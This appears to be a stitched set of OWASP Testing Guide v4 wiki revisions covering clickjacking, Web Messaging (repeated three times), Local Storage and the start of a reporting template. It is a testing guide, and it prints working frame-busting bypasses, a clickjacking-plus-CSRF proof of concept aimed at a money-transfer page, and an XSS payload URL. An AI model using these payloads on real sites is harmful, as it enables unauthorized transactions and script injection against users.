* Sandbox attribute: with HTML5 there is a new attribute called "sandbox". It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.

Example:
<pre>
<iframe src="http://target site" sandbox></iframe>
</pre>

* Design mode: Paul Stone showed a security issue concerning the "designMode" that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.

'''onBeforeUnload event'''
<br>
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt.

The attacker can use this attack by registering an unload event on the top page using the following example code:

<pre>
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>
<iframe src="http://target site">
</pre>

The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile.

Following an example code:

204 page:
<pre>
<?php
header("HTTP/1.1 204 No Content");
?>
</pre>

Attacker's page:
<pre>
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
<iframe src="http://target site">
</pre>

'''XSS Filter'''
<br>
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.
* <b>IE8 XSS filter</b>: this filter has visibility into all requests and responses parameters flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>
Attacker code:
<pre>
<iframe src=”http://target site/?param=<script>if”>
</pre>

* <b>Chrome 4.0 XSSAuditor filter</b>: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a "script" by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>

Attacker code:
<pre>
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
</pre>

'''Redefining location'''
<br>
For several browser the "document.location" variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.
* <b>Redefining location in IE7 and IE8</b>: it is possible to redefine "location" as it is illustrated in the following example. By defining "location" as a variable, any code that tries to read or to navigate by assigning "top.location" will fail due to a security violation and so the frame busting code is suspended.

Example:
<pre>
<script>
var location = "xyz";
</script>
<iframe src="http://target site"></iframe>
</pre>

* <b>Redefining location in Safari 4.0.4</b>: To bust frame busting code with "top.location" it is possible to bind "location" to a function via defineSetter (through window), so that an attempt to read or navigate to the "top.location" will fail.

Example:
<pre>
<script>
window.defineSetter("location" , function(){});
</script>
<iframe src="http://target site"></iframe>
</pre>

====Server side protection: X-Frame-Options====
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new "X-FRAME-OPTIONS" header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.

The "X-FRAME-OPTIONS" is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.

'''Browser compatibility'''
<br>
Since the "X-FRAME-OPTIONS" was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.

{| class="wikitable"
|-
! Browser !! Lowest version
|-
| Internet Explorer || 8.0
|-
| Firefox (Gecko) || 3.6.9 (1.9.2.9)
|-
| Opera || 10.50
|-
| Safari || 4.0
|-
| Chrome || 4.1.249.1042
|}

'''Proxies'''
<br>
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the "X-FRAME-OPTIONS" header then the site loses its framing protection.

'''Mobile website version'''
<br>
Also in this case, since the "X-FRAME-OPTIONS" has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.

===Create a "proof of concept" ===
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a "proof of concept" to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.

Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).

[[Image:Clickjacking example step2.png|400px|thumb|center]]

Following a snippet of the code for the step 2:

<pre>
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

//set the token as in the session data
$_SESSION['antiCsrf'] = $csrfToken;

//Transfer form with the hidden field
$form = '
<form name="transferForm" action="confirm.php" method="POST">
<div class="box">
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Do You want to confirm a transfer of <b>'. $_REQUEST['amount'] .' €</b> to account: <b>'. $_REQUEST['account'] .'</b> ?
</p>
<label>
<input type="hidden" name="amount" value="' . $_REQUEST['amount'] . '" />
<input type="hidden" name="account" value="' . $_REQUEST['account'] . '" />
<input type="hidden" name="antiCsrf" value="' . $csrfToken . '" />
<input type="submit" class="button" value="Transfer Money" />
</label>

</div>
</form>';
</pre>

In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (<b>Note</b>: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):

<pre>
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) )
{

//here we can suppose input sanitization code…

//check the anti-CSRF token
if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )
{
echo '<p> '. $_POST['amount'] .' € successfully transfered to account: '. $_POST['account'] .' </p>';
}

}
else
{
echo '<p>Transfer KO</p>';
}
</pre>

As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.

The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (<b>Note</b>: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).

The attacker's page may look a simple and harmless web page like the one presented below:

[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]

But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.

[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]

The clickjacking code to create this page is presented below:

<pre>
<html>
<head>
<title>Trusted web page</title>

<style type="text/css"></style>

</head>
<body>
<div id="content">
<h1>www.owasp.com</h1>
<form action="http://www.owasp.com">
<input type="submit" class="button" value="Click and go!">
</form>
</div>

<iframe id="clickjacking" src="http://localhost/csrf/transfer.php?account=ATTACKER&amount=10000" width="500" height="500" scrolling="no" frameborder="none">
</iframe>
</body>
</html>

</pre>

With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button "Click and go!" the form is submitted and the transfer is completed.

[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]

The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.

==Tools==
* Context Information Security: "Clickjacking Tool" - http://www.contextis.com/research/tools/clickjacking-tool/

== References ==
'''OWASP Resources'''
* [[Clickjacking]]

'''Whitepapers'''
* Marcus Niemietz: "UI Redressing: Attacks and Countermeasures Revisited" - http://ui-redressing.mniemietz.de/uiRedressing.pdf
* "Clickjacking" - https://en.wikipedia.org/wiki/Clickjacking
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites" - http://seclab.stanford.edu/websec/framebusting/framebust.pdf
* Paul Stone: "Next generation clickjacking" - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf

Test Web Messaging (OTG-CLIENT-011)

2014-12-01T19:18:16Z

Nvhaver: /* Summary */

{{Template:OWASP Testing Guide v4}}

== Summary ==

Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need, Cross Document Messaging was introduced within the WHATWG HTML5 draft specification and was implemented in all major browsers. It enables secure communications between multiple origins across iframes, tabs and windows.

The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.

There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:
*data: The content of the incoming message<br>
*origin: The origin of the sender document<br>
*source: source window<br>

An example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

=== Origin Security Concept ===
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.

From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is most likely that a security risk will be introduced. This makes it a very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners and get the callback function from the addEventListener method to further analyse, as domains must always be verified prior to data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

==How to Test==
=== Black Box testing ===
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:

Vulnerable code example:

In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:
<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
</b>if(e.origin.indexOf(".owasp.org")!=-1) {<b>
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innerHTML.

==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

Test Web Messaging (OTG-CLIENT-011)

2014-12-01T19:17:07Z

Nvhaver: /* Origin Security Concept */

{{Template:OWASP Testing Guide v4}}

== Summary ==

Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.

There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:
*data: The content of the incoming message<br>
*origin: The origin of the sender document<br>
*source: source window<br>

An example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

=== Origin Security Concept ===
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.

From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is most likely that a security risk will be introduced. This makes it a very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners and get the callback function from the addEventListener method to further analyse, as domains must always be verified prior to data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

==How to Test==
=== Black Box testing ===
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:

Vulnerable code example:

In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:
<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
</b>if(e.origin.indexOf(".owasp.org")!=-1) {<b>
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innerHTML.

==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

Test Web Messaging (OTG-CLIENT-011)

2014-12-01T19:10:09Z

Nvhaver: /* Gray Box testing */

{{Template:OWASP Testing Guide v4}}

== Summary ==

Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.

There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:
*data: The content of the incoming message<br>
*origin: The origin of the sender document<br>
*source: source window<br>

An example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

=== Origin Security Concept ===
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.

From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the addEventListener method to further analysis as domains must be always be verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

==How to Test==
=== Black Box testing ===
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:

Vulnerable code example:

In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:
<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
</b>if(e.origin.indexOf(".owasp.org")!=-1) {<b>
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innerHTML.

==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

Test Local Storage (OTG-CLIENT-012)

2014-12-01T19:08:58Z

Nvhaver: /*Test Local Storage*/

{{Template:OWASP Testing Guide v4}}

== Summary ==

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP). There are two objects, localStorage that is persistent and is intended to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed.

On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.

=== localStorage ===

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage. Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data. Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

=== sessionStorage ===

The main difference with localStorage is that the data stored in this object is only accessible until the tab/window is closed, which makes localStorage a perfect candidate for data that doesn't need to be persisted between sessions. It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accessed.

==How to Test==
=== Black Box testing ===
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

=== Gray Box testing ===

First of all, we need to check whether the Local Storage is used.

'''Example 1: Access to localStorage:''' <br>

Access to every element in localStorage with JavaScript:<br>

<pre>
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
</pre>

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'.

[[File:storage-chrome.png]]

Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.

[[File:storage-firefox.png]]

Also, we can inspect these objects from the developer tools of our browser.

Next manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the storage that represents a risk and will increase dramatically the impact of an information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.<br>
<br>
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.

'''Example 2: XSS in localStorage:''' <br>

Insecure assignment from localStorage can lead to XSS<br>

<pre>
function action(){

var resource = location.hash.substring(1);

localStorage.setItem("item",resource);

item = localStorage.getItem("item");
document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
</pre>

URL PoC:

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

[[File:Storage-xss.png]]

==Tools==
* '''Firebug''' - http://getfirebug.com/
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/

Reporting

2014-12-01T19:04:01Z

Nvhaver: /*Reporting*/

{{Template:OWASP Testing Guide v4}}

Performing the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff.

The report needs to have three major sections. It should be created in a manner that allows each separate section to be printed and given to the appropriate teams, such as the developers or system managers. The recommended sections are outlined below.

'''1. Executive Summary'''

The executive summary sums up the overall findings of the assessment and gives business managers and system owners a high level view of the vulnerabilities discovered. The language used should be more suited to people who are not technically aware and should include graphs or other charts which show the risk level. Keep in mind that executives will likely only have time to read this summary and will want two questions answered in plain language: 1) ''What's wrong?'' 2) ''How do I fix it?'' You have one page to answer these questions.

The executive summary should plainly state that the vulnerabilities and their severity is an '''input''' to their organizational risk management process, not an outcome or remediation. It is safest to explain that tester does not understand the threats faced by the organization or business consequences if the vulnerabilities are exploited. This is the job of the risk professional who calculates risk levels based on this and other information. Risk management will typically be part of the organization's IT Security Governance, Risk and Compliance (GRC) regime and this report will simply provide an input to that process.

'''2. Test Parameters'''

The Introduction should outline the parameters of the security testing, the findings and remediation. Some suggested section headings include:

2.1 Project Objective:
This section outlines the project objectives and the expected outcome of the assessment.

2.2 Project Scope:
This section outlines the agreed scope.

2.3 Project Schedule:
This section outlines when the testing commenced and when it was completed.

2.4 Targets:
This section lists the number of applications or targeted systems.

2.5 Limitations:
This section outlines every limitation which was faced throughout the assessment. For example, limitations of project-focused tests, limitation in the security testing methods, performance or technical issues that the tester come across during the course of assessment, etc.

2.6 Findings Summary:
This section outlines the vulnerabilities that were discovered during testing.

2.7 Remediation Summary:
This section outlines the action plan for fixing the vulnerabilities that were discovered during testing.

'''3. Findings'''

The last section of the report includes detailed technical information about the vulnerabilities found and the actions needed to resolve them. This section is aimed at a technical level and should include all the necessary information for the technical teams to understand the issue and resolve it. Each finding should be clear and concise and give the reader of the report a full understanding of the issue at hand.

The findings section should include:

* Screenshots and command lines to indicate what tasks were undertaken during the execution of the test case
* The affected item
* A technical description of the issue and the affected function or object
* A section on resolving the issue
* The severity rating [1], with vector notation if using CVSS

The following is the list of controls that were tested during the assessment:

{| class="wikitable"
| align="center" style="background:#f0f0f0;"|'''Test ID'''
| align="center" style="background:#f0f0f0;"|'''Test Description'''
| align="center" style="background:#f0f0f0;"|'''Findings'''
| align="center" style="background:#f0f0f0;"|'''Severity'''
| align="center" style="background:#f0f0f0;"|'''Recommendations'''
|-
| ||||
|-
| colspan="5" | '''Information Gathering'''
|-
| OTG-INFO-001||Conduct Search Engine Discovery and Reconnaissance for Information Leakage || || ||
|-
| OTG-INFO-002||Fingerprint Web Server || || ||
|-
| OTG-INFO-003||Review Webserver Metafiles for Information Leakage || || ||
|-
| OTG-INFO-004||Enumerate Applications on Webserver || || ||
|-
| OTG-INFO-005||Review Webpage Comments and Metadata for Information Leakage || || ||
|-
| OTG-INFO-006||Identify application entry points || || ||
|-
| OTG-INFO-007||Map execution paths through application || || ||
|-
| OTG-INFO-009||Fingerprint Web Application Framework || || ||
|-
| OTG-INFO-009||Fingerprint Web Application || || ||
|-
| OTG-INFO-010||Map Application Architecture || || ||
|-
| || || || || ||
|-
| colspan="5" | '''Configuration and Deploy Management Testing'''
|-
| OTG-CONFIG-001||Test Network/Infrastructure Configuration || || ||
|-
| OTG-CONFIG-002 ||Test Application Platform Configuration || || ||
|-
| OTG-CONFIG-003||Test File Extensions Handling for Sensitive Information || || ||
|-
| OTG-CONFIG-004|| Backup and Unreferenced Files for Sensitive Information || || ||
|-
| OTG-CONFIG-005||Enumerate Infrastructure and Application Admin Interfaces || || ||
|-
| OTG-CONFIG-006||Test HTTP Methods || || ||
|-
| OTG-CONFIG-007||Test HTTP Strict Transport Security || || ||
|-
| OTG-CONFIG-008||Test RIA cross domain policy || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Identity Management Testing'''
|-
| OTG-IDENT-001||Test Role Definitions || || ||
|-
| OTG-IDENT-002||Test User Registration Process || || ||
|-
| OTG-IDENT-003||Test Account Provisioning Process || || ||
|-
| OTG-IDENT-004||Testing for Account Enumeration and Guessable User Account || || ||
|-
| OTG-IDENT-005||Testing for Weak or unenforced username policy || || ||
|-
| OTG-IDENT-006||Test Permissions of Guest/Training Accounts || || ||
|-
| OTG-IDENT-007||Test Account Suspension/Resumption Process || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Authentication Testing'''
|-
| OTG-AUTHN-001||Testing for Credentials Transported over an Encrypted Channel || || ||
|-
| OTG-AUTHN-002||Testing for default credentials || || ||
|-
